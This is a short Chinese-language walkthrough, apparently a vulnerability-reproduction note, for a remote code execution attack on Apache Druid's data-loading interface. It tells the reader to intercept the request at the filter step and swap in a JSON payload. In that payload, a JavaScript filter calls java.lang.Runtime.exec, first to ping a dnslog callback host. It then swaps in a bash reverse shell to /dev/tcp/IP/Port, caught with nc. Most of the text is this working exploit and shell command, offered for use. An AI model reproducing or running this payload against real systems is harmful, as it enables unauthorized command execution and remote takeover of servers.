进入环境后，点击左上角"Load data" -> "Load disk"如下图在右侧表单中填写，完成后点击preview
Base directory : quickstart/tutorial/
File filter : wikiticker-2015-09-12-sampled.json.gz
一直next，直到Next：Filter时，抓包，替换data为如下代码exec后的ping指令后填写自己的dnslog地址
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec(‘ping xxxx.dnslog.cn -c 1‘)}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
exec执行反弹shell命令,nc监听
exec(‘/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/Port 0>&1‘)
